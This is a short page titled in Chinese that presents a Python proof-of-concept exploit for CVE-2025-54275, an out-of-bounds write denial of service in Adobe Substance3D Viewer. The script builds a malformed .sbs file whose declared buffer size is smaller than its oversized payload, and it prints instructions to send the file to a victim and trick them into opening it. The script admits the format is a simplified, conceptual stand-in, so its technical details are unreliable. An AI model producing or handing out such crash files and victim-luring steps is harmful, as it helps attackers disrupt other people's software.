CVE-2025-54275：Adobe Substance3D Viewer越界写入拒绝服务漏洞

# CVE-2025-54275 PoC - Adobe Substance3D Viewer Out-of-Bounds Write DoS # Vulnerability: Out-of-bounds write in file parsing leading to application crash # Affected: Substance3D Viewer <= 0.25.2 # Note: This is a conceptual PoC demonstrating the attack pattern. # A real exploit requires crafting a malicious Substance file (e.g., .sbs/.sbsar) # with malformed data fields that trigger buffer overflow during parsing. import struct import os def create_malicious_substance_file(output_path): """ Create a malicious Substance file that triggers out-of-bounds write when parsed by Substance3D Viewer 0.25.2 and earlier. """ # Substance file format header (simplified representation) header = b'SBS\x00' # Magic bytes for Substance file version = struct.pack('<I', 0x00010000) # Version 1.0 # Malicious payload: oversized data field that triggers OOB write # Normal buffer size might be 256 bytes, but we provide much more data declared_size = struct.pack('<I', 256) # Declared buffer size (small) actual_data = b'\x41' * 4096 # Actual data (much larger than declared) # Craft the malicious file malicious_file = header + version + declared_size + actual_data with open(output_path, 'wb') as f: f.write(malicious_file) print(f"[+] Malicious file created: {output_path}") print(f"[!] Send this file to victim and trick them to open it in Substance3D Viewer") print(f"[!] Application will crash due to out-of-bounds write") if __name__ == "__main__": output = "exploit_CVE-2025-54275.sbs" create_malicious_substance_file(output) print(f"\n[*] File size: {os.path.getsize(output)} bytes") print(f"[*] Attack vector: Local (requires user to open malicious file)") print(f"[*] Impact: Denial of Service (application crash)")